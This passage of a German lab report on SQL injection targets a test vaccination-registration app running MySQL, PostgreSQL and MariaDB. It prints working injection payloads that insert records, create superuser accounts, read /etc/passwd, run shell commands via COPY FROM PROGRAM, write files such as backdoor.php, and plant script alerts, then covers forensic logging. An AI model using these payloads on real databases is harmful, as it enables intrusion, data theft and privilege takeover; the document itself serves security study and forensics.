Der Datensatz konnte erfolgreich eingefügt werden. 

 

Nun wird gezeigt, wie ein neuer Datensatz in eine bereits bestehende Tabelle hinzugefügt wird. 

Dafür wird folgender Befehl genutzt: 

 

Befehl: '; INSERT INTO Patienten 

(Versichertennummer,Nachname,Vorname,Geburtsdatum,Geschlecht,Vorerkrankungen,Covid19_Vo

rinfekt,Priogruppe,Krankenversicherung,Adresse,Hausnummer,PLZ,E_Mail,Telefon) 

VALUES('K123456790','h4xx0r','Unbekannt','1989-05-02','m','n','n','3',98000001,'Philipp Müller 

Straße','14',99303,'h4xx0r@pwn4g3.com','03628 62 13 57'); COMMIT; -- 

 

Es ist sehr wichtig, dass bei MySQL am Ende der Anweisung noch das COMMIT; mitgegeben wird. Da 

das Autocommit in der MySQL-Datenbank standardmäßig auf 0 (inaktiv) gesetzt ist. Mit dem 

COMMIT; werden die Daten festgeschrieben und es findet kein Rollback statt. 

 

 

 

Mit einem UNION SELECT-Befehl wird überprüft, ob die Daten erfolgreich hinzugefügt werden 

konnten: 
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Befehl: ' AND 0 UNION SELECT Versichertennummer, Nachname, Vorname, E_Mail, Geburtsdatum 

FROM impfung.Patienten WHERE Nachname = 'h4xx0r'; 

 

Wie auf der Abbildung zu sehen ist, wurde der „Patient“ mit dem Namen Unbekannt h4xx0r 

hinzugefügt. 

 

4.3.2 PostgreSQL 

Wie im Beispiel (2.3.2) wird die gleiche Datenbank testdb noch einmal angelegt. 

 

Befehl: '; DROP TABLE IF EXISTS hilfstabelle; CREATE TABLE hilfstabelle(t text); COPY hilfstabelle 

FROM PROGRAM 'psql -c "CREATE DATABASE testdb"'; SELECT * FROM hilfstabelle; --' 

 

Anschließend werden die bestehenden Datenbanken eingesehen und überprüft, um so die 

erfolgreiche Erstellung der Datenbank testdb zu verifizieren. 

 

Befehl: '; SELECT datname FROM pg_database; -- 

 

 

Die Datenbank testdb konnte erfolgreich erstellt werden. 
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Eine anschließende Überprüfung mit dem Adminer zeigt ebenfalls, dass die Datenbank erstellt 

werden konnte. 

 

 

 

Über die gleiche Vorgehensweise wie beim Anlegen einer Datenbank wird die Datenbank nun wieder 

gelöscht. 

 

Befehl: '; DROP TABLE IF EXISTS hilfstabelle; CREATE TABLE hilfstabelle(t text); COPY hilfstabelle 

FROM PROGRAM 'psql -c "DROP DATABASE testdb"'; SELECT * FROM hilfstabelle; --' 

 

Mit einer weiteren Überprüfung der vorhandenen Datenbanken wurde überprüft, ob die Löschung 

der Datenbank korrekt ausgeführt wurde. 

 

 

 

Die Datenbank ist nicht mehr vorhanden und konnte erfolgreich entfernt werden. 
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Auch hier versuchen wir nun einen Patienten hinzuzugfügen: 

 

Befehl: '; INSERT INTO Patienten 

(Versichertennummer,Nachname,Vorname,Geburtsdatum,Geschlecht,Vorerkrankungen,Covid19_Vo

rinfekt,Priogruppe,Krankenversicherung,Adresse,Hausnummer,PLZ,E_Mail,Telefon) 

VALUES('K123456790','h4xx0r','Unbekannt','1989-05-02','m','n','n','3',98000001,'Philipp Müller 

Straße','14',99303,'h4xx0r@pwn4g3.com','03628 62 13 57'); -- 

 

Wie in Abschnitt 1 (Vorbereitung) angegeben, wurde die Datei app.py mit dem AUTOCOMMIT 

angepasst, weshalb hier kein COMMIT; explizit ausgeführt werden muss. 

 

 

 

Nun wird überprüft, ob der Patient erfolgreich angelegt werden konnte: 

 

Befehl: '; SELECT Vorname, Nachname, Adresse, E_Mail, Versichertennummer FROM Patienten 

WHERE Nachname = 'Unbekannt'; -- 

 

 

Auch hier wurde der Patient korrekt in der Tabelle angelegt. 
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4.3.3 MariaDB (Cloud) 

 

Der Befehl zur Erstellung und Prüfung einer Datenbank mit einem Injection Befehl in MariaDB: 

 

Befehl: '; CREATE DATABASE evildb; 

 

Befehl: ' AND 0 UNION SELECT schema_name,0,0,0 FROM information_schema.schemata; ' AND 0 

UNION SELECT schema_name,0,0,0 FROM information_schema.schemata; 

 

 
 

Im Abbild ist zu sehen, dass die Datenbank evildb erfolgreich erstellt wurde. 

Das Erstellen einer neuen Tabelle „Hacker“ innerhalb der vorher erstellten Datenbank evildb in  

MariaDB geschieht wie folgt: 

 

Befehl: '; CREATE TABLE `evildb`.`hacker`(`nickname` VARCHAR(10)) ENGINE = MYISAM; -- 

 

Befehl: ' AND 0 UNION SELECT 1,table_schema, table_name, column_name FROM  

information_schema.columns WHERE table_schema = 'evildb'; 

 

 

Die Tabelle “Hacker” mit der Spalte “Nickname” wurde erfolgreich erstellt. 
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Ein Datensatz wird in MariaDB der neu erstellten Tabelle “Hacker” in der Datenbank “evildb” 

hinzugefügt und das Hinzufügen verifiziert: 

 

Befehl: '; INSERT INTO `evildb`.`Hacker` (`Nickname`)VALUES ('h0ldmyb33r'); -- 

 

Befehl: ' UNION SELECT Nickname, 2, 3, 4 FROM evildb.hacker; -- 

 

 

Das Erstellen des Datensatzes wurde erfolgreich durchgeführt. 

 

Auch bei MariaDB wird ein Patient angelegt: 

 

Befehl: '; INSERT INTO Patienten 

(Versichertennummer,Nachname,Vorname,Geburtsdatum,Geschlecht,Vorerkrankungen,Covid19_Vo

rinfekt,Priogruppe,Krankenversicherung,Adresse,Hausnummer,PLZ,E_Mail,Telefon) 

VALUES('K123456789','Wayne','Bruce','1915-04-17','m','n','n','3',98000001,'Wayne 

Manor','1',99303,'b@man.bat','0123456789'); COMMIT; -- 

 

Auch in MariaDB muss das COMMIT; extra mit angegeben werden, damit die Daten festgeschrieben 

werden. 
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Auch jetzt wird überprüft, ob die Daten korrekt in die Tabelle übernommen wurden: 

 

Befehl: '; AND 0 UNION SELECT Versichertennummer, Nachname, Vorname, E_Mail, Geburtsdatum 

FROM impfung.Patienten WHERE Nachname = 'Wayne'; 

 

 

Der Patient Bruce Wayne wurde erfolgreich hinzugefügt. 
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4.4 Datenbank-Server verändern 

 

Bei der Veränderung des Datenbank-Servers ist insbesondere die Veränderung der 

Benutzerverwaltung von zentraler Bedeutung. Hierdurch wird versucht sich weitreichende 

Berechtigungen innerhalb des DBMS zu verschaffen. 

 

4.4.1 MySQL 

Neuen Benutzer erstellen: 

Befehl: '; CREATE USER 'hacker'@'%' IDENTIFIED BY 'hacked'; GRANT ALL PRIVILEGES ON *.* TO 

'hacker'@'%'; FLUSH PRIVILEGES; -- 

 

 

Befehl: asd' UNION SELECT user, 2, 3, 4 FROM mysql.user; -- 

 

Der neue Benutzer „hacker“ wurde erfolgreich mit Superuser-Rechten erstellt. 

 

Benutzer löschen: 

Befehl: '; DELETE FROM `mysql`.`user` WHERE `User`='hacker'; FLUSH PRIVILEGES; -- 
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Der Benutzer konnte wieder gelöscht werden. 

Ein Angreifer könnte sich so selbst Superuser-Rechte verschaffen und anschließend alle anderen 

Benutzerkonten entfernen, sodass andere Konten keinen Zugriff mehr auf die Datenbank besitzen. 

 

4.4.2 PostgreSQL 

Wie im Beispiel soll nun ein neuer Benutzer mit Superuser-Rechten erstellt werden. Mit diesem 

werden wir uns dann auch im Adminer anmelden und so versuchen, die Inhalte der Datenbanken 

einzusehen und ggfs. zu verändern. 

Dafür wurde der Befehl aus dem Beispiel um „ALTER ROLE hh10 with CREATEDB“ erweitert. 

 

Befehl: CREATE ROLE hh10 WITH SUPERUSER; ALTER ROLE hh10 with CREATEDB; ALTER ROLE hh10 

WITH LOGIN; ALTER ROLE hh10 WITH PASSWORD 'hh10'; -- 

 

Anschließend erfolgt eine Abfrage der bestehenden Datenbankbenutzer: 

 

Befehl: '; SELECT usename, usesuper FROM pg_user; -- 

 

 

Auch die Anmeldung im Adminer konnte mit dem neuen Benutzer hh10 erfolgen. Anschließend wurde 

auch dort noch einmal die Abfrage der bestehenden Datenbankbenutzer durchgeführt. 

 

 

 

Nun überprüfen wir, ob mit dem neuen Benutzer hh10 auch eine Datenbank erstellt werden kann.  
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Die Erstellung wird direkt im Adminer durchgeführt und funktioniert ohne weitere Probleme. 

 

 

 

Es erfolgt die Abmeldung im Adminer – Nun wird die erstellte Datenbank im Adminer gelöscht. Der 

Benutzer wird dann wieder über die SQLi entfernt. 

 

 
 

 

Befehl: '; DROP USER hh10; -- 

 

 

Der Benutzer hh10 wurde erfolgreich entfernt. 
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4.4.3 MariaDB (Cloud) 

Das Erstellen eines neuen Datenbankbenutzers in MariaDB hat folgende Vorgehensweise: 

 

Befehl: '; CREATE USER 'h0ldmyb33r'@'%' IDENTIFIED BY 'Nobody'; GRANT ALL PRIVILEGES ON *.* TO 

'h0ldmyb33r'@'%'; FLUSH PRIVILEGES; -- 

 

 

 

Befehl: ' UNION SELECT user, 2, 3, 4 FROM mysql.user; -- 

 

 

Der neue Benutzer wurde erfolgreich mit administrativen Berechtigungen in MariaDB erstellt. 

Das Löschen des Benutzers „h0ldmyb33r“ und die Validierung des Löschvorgangs findet wie folgt 

statt: 

 

Befehl: '; DELETE FROM `mysql`.`user` WHERE `User`='h0ldmyb33r'; FLUSH PRIVILEGES; -- 

 

 

Der Benutzer “h0ldmyb33r” wurde aus MariaDB gelöscht. 
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4.5 Änderung am Filesystem  

 

Wenn ein Angreifer Zugriff auf das Filesystem besitzt, können Dateien und Inhalte ausgelesen, 

kopiert oder eingeschleust werden. 

 

4.5.1 MySQL 

Mithilfe der bereits beschriebenen Anpassungen der Variable secure_file_priv konnte die Datei 

passwd erfolgreich ausgelesen werden: 

 

Befehl: asd ' UNION SELECT 1, 2, 3, LOAD_FILE('/etc/passwd');-- 
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4.5.2 PostgreSQL 

Wie bereits beschrieben wird bei PostgreSQL der Dateizugriff über den COPY-Befehl realisiert.  

 

Lesezugriff auf das Dateisystem: 

 

Befehl: '; select * from pg_ls_dir('.'); -- 

 

 

 

Nun wird, wie im Beispiel die Datei „passwd“ kopiert. Dafür muss zuerst eine Hilfstabelle erstellt 

werden, in welche dann die Daten hineinkopiert werden. 

 

Befehl: '; CREATE TABLE mydata(mydata text); COPY mydata FROM '/etc/passwd'; SELECT * FROM 

mydata; ; --.' 

 

 

 
 

Die Tabelle wurde erfolgreich erstellt und die Inhalte der Datei passwd wurden in die Tabelle kopiert. 
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4.5.3 MariaDB (Cloud) 

Durch die Veränderung der Variable <secure_file_priv>, analog zu den Einstellungsänderungen bei 

MySQL, konnte ebenfalls in MariaDB die Datei /etc/passwd aufgerufen werden: 

 

Befehl: asd ' UNION SELECT 1, 2, 3, LOAD_FILE('/etc/passwd');-- 

 

 

Der Inhalt der Datei “/etc/passwd” ist über den Injection Befehl ermittelt. 
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4.6 Einschleusen von beliebigem Code 

 

Das Einschleusen von Programmcode konnte im Beispiel dargestellt werden. Auch in unserer 

Umgebung haben wir dafür die HTML-Datei „Patienten“ mit dem zusätzlichen Code {{ search|safe }} 

versehen. Somit ist das Autoescaping für das Suchformular deaktiviert. 

 

 

 

Wir zeigen anhand von verschiedenen Beispielen, dass es möglich ist, Programmcode wie ein Alert-

Script oder sogar eine Datei über die Datenbank auf das Host-System einzuschleusen. 

4.6.1 MySQL 

Genau wie in den Beispielen wird ein Alert mit dem Text: „Achtung, wir haben jetzt die Macht!“ in die 

Tabelle Patienten eingefügt. 

 

Befehl: '; INSERT INTO Patienten VALUES (1,'<script>alert("Achtung, wir haben jetzt die 

Macht!")</script>',3, 4); -- 

 

 

 

Das Ergebnis ist der Alert mit dem zuvor angegebenen Text. 

 

Neben dem Beispiel mit dem Alert-Script ist es ebenfalls möglich, eine Datei mit beliebigem Inhalt auf 

das Host-System einzuschleusen. Dazu wird in den spitzen Klammern der Inhalt der Datei eingefügt 

und mit einem into OUTFILE und dem Pfad die Datei auf das Host-System hochgeladen. 

 

Befehl: ;' UNION SELECT 1,2,"<?php ICH BIN SUPER BOESER SCHADCODE>",3 into OUTFILE 

'/var/lib/mysql/backdoor.php'; -- 
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Die SQL-Anweisung wird normal über das Formular angegeben: 

 

 

Anschließend erhalten wir eine Meldung, dass kein return möglich ist.  

 

 

 

Nun wird im Pfad /var/lib/mysql überprüft, ob die Datei backdoor.php erfolgreich angelegt wurde 

und der Inhalt: ICH BIN EIN SUPER BOESER SCHADCODE dort enthalten ist. 

 

Die Datei backdoor.php ist vorhanden und wurde erfolgreich angelegt. 

 

 

Wie auf der Abbildung zu sehen ist, wurde der Inhalt aus der SQL-Anweisung korrekt übertragen und 

die Datei backdoor.php samt Inhalt auf dem Host-System angelegt. 

Somit hat ein Angreifer auch die Möglichkeit, Schadcode oder anderen Programmcode auf ein Ziel-

System einzuschleusen. 
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4.6.2 PostgreSQL 

Da in den Tabellen teilweise NOT NULL angegeben ist, muss der Befehl abgeändert werden. Ebenfalls 

konnten wir Probleme feststellen, wenn Spalten eine Auswahlmöglichkeit (ENUM) besitzen. 

In der Tabelle Impforganisation ist kein ENUM enthalten – Vorab wird der Inhalt (Spaltennamen) der 

Tabellen geprüft, damit die Spalten korrekt befüllt werden können: 

 

Befehl: ';  SELECT relname, A.attname FROM pg_class C, pg_namespace N,  pg_attribute A, pg_type T 

WHERE (C.relkind='r') AND  (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND  (A.atttypid=T.oid) 

AND (A.attnum>0) AND (NOT A.attisdropped) AND  (N.nspname ILIKE 'public'); -- 

 

Wie in Abschnitt 4.2.2 werden alle Tabellen und Spalten angezeigt. 

Nun konnten wir die Spaltennamen der Tabelle Impforganisation in Erfahrung bringen: 

- Impforganisation_id 

- Organisation 

- Adresse 

- Hausnummer 

- Plz 

- Telefon 

Aus den gewonnenen Informationen wird der Befehl angepasst – In der Spalte zwei (Organisation) 

wird der Programmcode mit einem Alert eingefügt. 

 

Befehl: '; insert into Impforganisation values (1234, '<script>alert("Wir haben eure Daten 

gestohlen!")</script>', 'Tollestrasse', 2, 51103, 0); SELECT * FROM Impforganisation; -- 

 

 

 

Als Ergebnis wird wie erwartet das Popup-Fenster mit der Meldung angezeigt. 

Ebenfalls soll auch in PostgreSQL der Versuch unternommen werden Schadcode über SQLi durch die 

Datenbank direkt auf dem Betriebssystem in Form einer Datei abzulegen. 

Hierzu wird folgender Befehl mit der COPY Anweisung konstruiert: 

 

Befehl: '; COPY (SELECT 'Kostenloser Schadcode fuer alle') to '/var/lib/postgresql/schadcode.sh'; ; --.´ 
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Der Schadcode wird über die Anweisung im Formular eingeschleust: 

 

Eine Fehlermeldung wird nach dem Absetzen des Befehls angezeigt, die aufweist das keine 

anzuzeigenden Zeilen nach dem Ausführen vorhanden sind und die Anweisung beendet wurde. 

 

Um nun zu prüfen, ob der Schadcode im System eingeschleust wurde, wird per CLI auf den 

PostgreSQL Docker zugegriffen und dort wird nach der Datei schadocode.sh im Pfad 

/var/lib/postgres/ gesucht. 

 

Die Datei ist vorhanden und es fehlt nur noch die Bestätigung, dass der Inhalt der Datei mit dem 

eingegebenen Schadcode „Kostenloser Schadcode für alle“ identisch ist, wie im folgenden 

Screenshot zu sehen ist: 

 

Somit konnte auf PostgreSQL erfolgreich Schadcode auf das Betriebssystem eingeschleust werden. 
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4.6.3 MariaDB (Cloud) 

Durch die Einschleusung des Parameters <script>alert("Hello Friend... You've been hacked!")</script> 

in der Injection wird über die Abfrage ausführbarer Code eingeschleust: 

 

Befehl: '; INSERT INTO Patienten VALUES (1,'<script>alert("Hello Friend... You've been 

hacked!")</script>',3, 4); -- 

 

 

Im Ergebnis ist ein JavaScript Popup mit dem vormals eingegebenen Text zu sehen. 

Wie in MySQL aufgezeigt, konnte ebenso auf der MariaDB Cloud Instanz über die Weboberfläche mit 

SQL Injection direkt auf das zugrundeliegende Betriebssystem der Datenbank zugegriffen und eine 

Dateioperation durchgeführt werden. Es wäre somit möglich auch hier Schadcode einzuschleusen um 

Datenmanipulationen, Kompromittierungen oder eine Persistenz des Angreifers mit einer „Reverse 

Shell“ auf das Betriebssystem der Datenbank zu ermöglichen. 

Die SQL Injection kann wie folgt durchgeführt werden: 

 

Befehl: ;' UNION SELECT "Some evil code to pwn your system","","","","" into OUTFILE 

'/var/lib/mysql/evilcode.sh'; -- 

 

 

 

Es erscheint eine Fehlermeldung der „sqlalchemy“ Engine die allerdings nur besagt, dass der 

vorhergehende Befehl keine Zeilen zurückgegeben hat und geschlossen wurde. 

 

Um zu verifizieren, ob die Datei „evildocde.sh“ mit dem vermeintlichen Schadcode erfolgreich auf 

dem zugrundeliegenden Betriebssystem der Datenbankinstanz erstellt wurde, wird das 

Zielverzeichnis /var/lib/mysql/ auf Vorhandensein der Datei untersucht. 
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Durch Anzeigen des Inhalts der Datei „evilcode.sh“ kann des Weiteren bestätigt werden, dass der 

Schadcode „Some evil code to pwn your system“ korrekt in die Datei geschrieben wurde. 
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5. Aufarbeitung und forensische Auswertung  

 

In der forensischen Auswertung werden nicht nur Daten in einem DBMS selbst untersucht, sondern 

auch Daten, welche auf dem System/Server oder in anderen Programmen selbst hinterlassen wurden. 

Bei Angriffen, bei denen keine Daten verändert, hinzugefügt oder gelöscht werden, ist die 

Nachvollziehbarkeit solcher Angriffe in einem DBMS kaum bis gar nicht möglich. Besonders beim 

Ausspähen von Daten werden keine Daten verändert/hinzugefügt oder gelöscht. Um auch solche 

Angriffe erkennen zu können, gibt es Wege und Möglichkeiten diese auch im Nachhinein untersuchen 

zu können. Wir zeigen dabei einmal auf, wie die Datenbankprotokolle im Nachhinein aktiviert werden 

(MySQL und PostgreSQL) und einmal, wie die Protokolle vorab in der YAML-Datei vor der Docker-

Installation am Beispiel von MariaDB aktiviert werden. 

 

In dieser Ausarbeitung stellen wir folgende Möglichkeiten der forensischen Auswertung vor: 

- Webserverprotokolle 

- Datenbankprotokolle 

- Datenbankausführungspläne 

- Transaktionsprotokolle 

 

5.1 Webserverprotokolle 

 

In der Docker-Umgebung von Herrn Häuser können alle SQL-Anweisungen aus dem Log der Python 

App entnommen werden. Innerhalb der Docker-Umgebung werden die verfügbaren und laufenden 

Container angezeigt. Über den Container kann auf die Webserverprotokolle zugegriffen werden. 
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Aus den Webserverprotokollen ist zu entnehmen, dass alle SQL-Anweisungen in der Docker-

Umgebung als GET-Parameter versendet wurden.  

Zusätzlich zu den genauen SQL-Anweisungen können auch die IP-Adresse sowie ein Zeitstempel aus 

den Logs entnommen werden. Dabei handelt es sich um so genannte Meta-Daten. Anhand dieser 

Meta-Daten kann ein Angriff näher eingrenzt werden.  

 

 

 

Die Überprüfung von Log-Dateien zeigt aber nicht nur vergangene SQL-Anweisungen, sondern 

offenbart auch, ob ein Datenabfluss stattgefunden hat. An welche Daten konnte der Angreifer 

gelangen und mit welchen SQL-Anweisungen wurde das System kompromittiert? Anhand dieser Logs 

können somit auch Schwachstellen am eigenen System entdeckt und beseitigt werden. 
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5.2 Datenbankprotokolle 

 

Um mögliche Angriffe auf ein DBMS nachvollziehen zu können, verfügen die 

Datenbankmanagementsysteme ähnlich wie der Webserver über eigene Protokolle (Logfiles). In 

diesen Logfiles werden u.a. SQL-Anweisungen aufgezeichnet. Der Vorteil gegenüber der 

Webserverprotokolle liegt auf der Hand – Während der Webserver neben den Anweisungen auch viele 

anderen Daten protokolliert, werden in den Logfiles der DBMS Änderungen der Datenbank und der 

Daten selbst gespeichert. Je nach DBMS können Anweisungen (Querys) und Fehler (Errors) getrennt 

protokolliert werden. 

Im Standard sind sowohl in den Datenbanktypen PostgreSQL als auch MySQL und MariaDB 

ausschließlich Protokolle im Binärformat aktiv. In diesen Protokollen werden sämtliche 

Datenbankänderungen sowohl an den Daten selbst, als auch an der Datenbankstruktur mit den 

entsprechenden Metadaten geschrieben. 

Diese Protokolle (auch Undo- und Redo- oder Replikationslogs genannt) haben den Zweck die 

Datenbank auf andere Instanzen zu replizieren, Wiederherstellungen zu ermöglichen oder bestimmte 

Änderungen an der Datenbank nachvollziehbar zu machen. Somit sind diese u.a. auch ausgezeichnet 

dafür geeignet sämtliche Änderungen an der Datenbank forensisch nachzuvollziehen. 

Da diese Protokolle im Standard im Binärformat abgelegt werden, können die Protokolle auch nur im 

jeweiligen Datenbankkontext, mit entsprechenden speziellen Tools auf den Datenbank-Hostsystemen 

(mysqlbinlog,  pg_xlogdump, etc.) oder mit Drittanbietertools (DB-Visualizer, xways) ausgelesen 

werden. 

Um den Zugriff auf diese Protokolle zu gewährleisten und diese lesbar zu machen, werden im 

Folgenden Anpassungen durchgeführt und aufgezeigt, wie diese Logfiles in den jeweiligen Docker-

Containern aktiviert werden. Anschließend wird aufgezeigt, wo sich die Logfiles befinden, und zum 

Abschluss werden die Logfiles auf mögliche Angriffe untersucht. 
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5.2.1 Datenbankprotokolle MySQL 

In MySQL wird in im weiteren Verlauf das “general Logfile“ aktiviert. Dies ist eine exakte lesbare Kopie 

des binären Logfiles. In der Regel wird dies nur kurzzeitig dann aktiviert, wenn Prüfungen oder Fehler 

analysiert werden sollen, da dies zu Performanz-Auslastungen führen kann. 

Um die Logfiles in MySQL auslesen und abrufen zu können, muss zuerst über den Container die CLI als 

Bash gestartet werden. 

Anschließend wird die Datei mysql.log im Verzeichnis /var/log angelegt und für den User mysql 

berechtigt.  

 

 

Mit einer anschließenden Überprüfung der Berechtigungen wird sichergestellt, dass der User mysql 

nun Schreibrechte auf die neu erstellte mysql.log Datei besitzt. 

Die CLI des MySQL-Containers wird erneut geöffnet – Jetzt erfolgt die Anmeldung an Benutzer mysql. 

Damit das Logging in MySQL aktiviert wird, muss vorab noch der Pfad des Logfiles angegeben werden. 

Anschließend wird der Parameter auf „on“ gesetzt. 

 

Befehl 1: SET global general_log_file='/var/log/mysql.log'; 

Befehl 2: SET global log_output = 'file' ; 

Befehl 3: SET global general_log = on; 
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Nun ist das „general logging“ für MySQL aktiviert und kann für die Verfolgung oder Sichtung von 

möglichen Angriffen eingesehen werden. 

 

 

 

Wie dem Logfile zu entnehmen ist, werden neben den Anweisungen auch die Meta-Daten der 

Angriffe gespeichert. 
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5.2.2 Datenbankprotokolle PostgreSQL 

Analog zu MySQL findet in PostgreSQL das sog. WAL (Write-Ahead-Logging) statt. Es handelt sich 

hierbei um ein Verfahren des Datenbanksystems um Atomarität und Dauerhaftigkeit von 

Transaktionen zu gewährleisten. Sämtliche Modifikationen sowohl an den Daten als auch an der 

Architektur der Datenbank werden, bevor diese festgeschrieben (commited) werden, protokolliert. 

Die WAL Logs sind ebenfalls im Binärformat vorhanden und im Standard aktiv. Es sind jedoch noch 

weitere Maßnahmen in PostgreSQL erforderlich um Inhalte dieser Protokolle abrufen und lesen zu 

können. Hierzu müssen ebenfalls wie bei MySQL erst einmal einige Änderungen vorgenommen 

werden. Dafür wird wie folgt vorgegangen: 

Die CLI des PostgreSQL-Containers öffnen und die Bash aktivieren. Anschließend zur Datei 

/var/lib/postgresql/data/postgresql.conf navigieren. 

Da kein Editor in der Umgebung installiert ist, wird zuerst noch die VIM installiert. Anschließend kann 

die Datei mit dem VIM angepasst werden. 

 

 

 

In der Datei postgresql.conf im Bereich REPORTING & LOGGING müssen folgende Parameter angepasst 

werden: 

log_statement = 'all' 

log_directory = 'pg_log' 

log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' 

logging_collector = on 

log_min_error_statement = error 

 

Die Änderungen werden gespeichert und der Editor wieder geschlossen. 

 

Werden nun SQL-Anweisungen durchgeführt, so werden verschiedene weitere Logfiles angelegt. Diese 



5. Aufarbeitung und forensische Auswertung 
 

76 
 

werden wie in den Parametern mit dem Dateinamen postgresql-%Y-%m-%d_%H%M%S.log angelegt 

und können jederzeit überprüft werden. 

Im Dateipfad /vat/lib/postgresql/data/logs werden mit ls -l alle enthaltenden Dateien angezeigt. 

Mi dem Befehl cat Dateiname wird der Inhalt der Datei in der Konsole angezeigt: 

 

 

Auch hier werden Meta-Daten wie Uhrzeit und Datum der jeweiligen SQL-Anweisungen angezeigt.  
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5.2.3 Datenbankprotokolle MariaDB (Cloud) 

Wie bereits im Abschnitt zur Installation und Einrichtung der Datenbankinstanz MariaDB in der Cloud 

aufgeführt wurde, wurde eine andere Vorgehensweise gewählt, um die Datenbankprotokolle einsehen 

zu können. 

Da im Standard die Datenbankprotokolle im Container nicht aktiv waren, musste die 

Serverkonfigurationsdatei der MariaDB Instanz, welche aus dem Container auf das Host-

Betriebssystem gemappt wurde, angepasst werden. Hierbei handelt es sich um folgende Datei im 

Container: 

 

/etc/mysql/mariadb.conf.d/50-server.cnf 

 

In der Konfigurationsdatei wurden folgende Parameter für die Protokollierung angepasst: 

 

general_log_file = /var/log/mysql/mysql.log 

general_log = 1 

log_error = /var/log/mysql/error.log 

slow_query_log_file = /var/log/mysql/mariadb-slow.log 

log_bin = /var/log/mysql/mysql-bin.log 

 

 

 

Das „general_log“ ist ein sehr ausführliches Transaktionsprotokoll, welches dazu angedacht ist zu 

Testzwecken und für kurze Zeit aktiviert zu werden. Dies dient der Ermittlung von Fehlern und 

Auffälligkeiten. Es ist unüblich dies in der regulären Laufzeit aktiviert zu lassen, da das „general_log“ 

sehr zu Lasten der Datenbankperformance geht. 
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Mit folgendem Befehl lässt sich das Log aufrufen und jede Änderung kann in Echtzeit nachvollzogen 

werden: 

 

Befehl: tail -f mysql.log 

 

 

Wie im „general_log“ ersichtlich ist werden u.a. Anweisungen und Metadaten aufgeführt. 

Das Error Log zeigt jegliche Fehler (Zugriffsfehler, Transaktionsfehler, Kommunikationsabbrüche, etc.) 

an die beim Zugriff oder bei der Ausführung von Transaktionen aufgekommen sind. Mit folgendem 

Befehl können die Error Logs in Echtzeit nachvollzogen werden: 

 

Befehl: tail -f error.log 

 

 

 

Im Error Log werden ebenfalls Informationen zu den aufgetretenen Fehlern mit entsprechenden 

Metadaten aufgeführt. 

Das MariaDB „Slow Log“ Protokoll ist konzipiert, um Transaktionen zu protokollieren die sehr hohe 

Laufzeiten verursachen. 

Das Protokoll wird erst dann angelegt, wenn solche Transaktionen in der Datenbankinstanz 

durchgeführt werden. 

Abschließend das „Bin Log“, welches im Binärformat gespeichert wird. Dies dient für Sicherungs-, 

Wiederherstellungs- und Replikationszwecke, kann aber auch für forensische Analysen herangezogen 

werden. 
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5.3 Datenbankausführungspläne  

Sobald eine SQL-Anweisung in einem Datenbankmanagementsystem abgesetzt wird, findet im 

Hintergrund ein Abarbeiten der jeweiligen Anweisung statt. Die Anweisung wird zwar in der Regel in 

einem Statement abgesetzt, das DBMS generiert anhand dieser Anweisung jedoch einzelne Schritte, 

um die Anweisung so effizient wie möglich abzuarbeiten und die Informationen zur Verfügung zu 

stellen. 

Das Prinzip des Datenbankausführungsplans kann grob gesagt mit einem Kuchen-Rezept verglichen 

werden – Mit der SQL-Anweisung „Schokoladenkuchen mit Kirschen und Sahne“ wird eine 

Zubereitungsliste erstellt und anhand dieser Liste werden die Schritte der Zubereitung einzeln 

abgearbeitet. Als Ergebnis folgt ein fertiger Schokoladenkuchen mit Kirschen und Sahne. 

Ein Datenbankausführungsplan gibt darüber Aufschluss, welche Indizes benutzt werden und in welcher 

Reihenfolge das DBMS auf die Tabellen zugreift. Vor allem gibt der Ausführungsplan aber Aufschluss, 

welche Algorithmen für die verschiedenen Join-, Sortier- und Gruppier-Operationen zum Zuge 

kommen. 

Für die forensische Auswertung ist der Datenbankausführungsplan vor allem dann interessant, wenn 

SQL-Anweisungen von Angriffen besser nachvollzogen werden sollen. SQL-Anweisungen können sehr 

komplex und vor allem sehr verschachtelt sein. Um diese Anweisungen besser überprüfen zu können, 

ist die Durchsicht essenziell. Ebenfalls ist die Auswertung dann sinnvoll, um Performanceschwächen 

einer Datenbank ausfindig zu machen. 

 

5.3.1 Datenbankausführungsplan in MySQL 

Um zu überprüfen, ob das Logging in der angepassten Docker-Umgebung von Herrn Häuser aktiviert 

ist, damit im Anschluss die Datenbankausführungspläne der durchgeführten Statements ermittelt 

werden können, wird wieder die CLI des MySQL-Containers gestartet. Dort erfolgt erneut die 

Anmeldung als MySQL. 

Mit folgendem Befehl wird geprüft, ob das „general_log“ für MySQL aktiviert ist: 

 

Befehl: show variables like "%general_log%" 

 

  

 

Als Ergebnis wird in einer Tabelle angezeigt, dass die Ausführungspläne für MySQL deaktiviert sind. 

Zusätzlich wird noch der Pfad angezeigt, wo die Ausführungspläne zu finden sind. 
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Um die Ausführungspläne zu aktivieren, muss wie bereits in Abschnitt 5.2.1 der Parameter auf ON 

gestellt werden.  

 

Befehl: SET global general_log = on; 

 

Eine erneute Abfrage zeigt, dass der Parameter nun auf ON gesetzt ist: 

 

Befehl: show variables like "%general_log%" 

 

 

 

Anhand des angezeigten Pfads wird die Datei nun aufgerufen: 

 

Die Datei zeigt die eingegebenen SQL-Anweisungen zusammen mit der SQL-Anweisung der Suche.  
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Die Anweisung kann nun auf zwei weiteren Wegen weiter untersucht werden: 

Einmal mit der Option explain und mit der Option analyze. Dafür wird eine komplette SQL-Anweisung 

(SQL-Anweisung der Suche + Eingabe aus Formular) kopiert und vor die Anweisung die Option explain 

gestellt: 

 

Die SQL-Anweisung wird nun aufgeschlüsselt und in Schritten in einer Tabelle dargestellt. 

Mit der zusätzlichen Option kann die Performance einer Datenbank bzw. die Abarbeitung der Schritte 

einer SQL-Anweisung eingesehen werden. 

 

 

 

5.3.2 Datenbankausführungsplan in PostgreSQL 

Die Ausführungspläne besitzen nach unseren Erkenntnissen keine eigene Logdatei – Entsprechend 

muss ein Statement aus den „normalen“ Logfiles genommen und untersucht werden. 

Das zu untersuchende Statement wird aus einer der Logfiles unter /vat/lib/postgresql/data/logs 

kopiert bzw. diese Datei in einem Fenster (Konsole) geöffnet. 

Anschließend erfolgt die Anmeldung in der CLI des PostgreSQL-Containers wie folgt: 

 

Anmeldung: psql -U postgres 
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Mit der Option \l werden alle Datenbanken angezeigt und mit der Option \c Datenbankname wird die 

jeweilige Datenbank ausgewählt: 

 

 

Wie in MySQL kann in PostgreSQL mit den Optionen explain und analyze gearbeitet werden.  

Wird nun mit den Optionen explain und analyze ein Statement ausgeführt, werden die Schritte und 

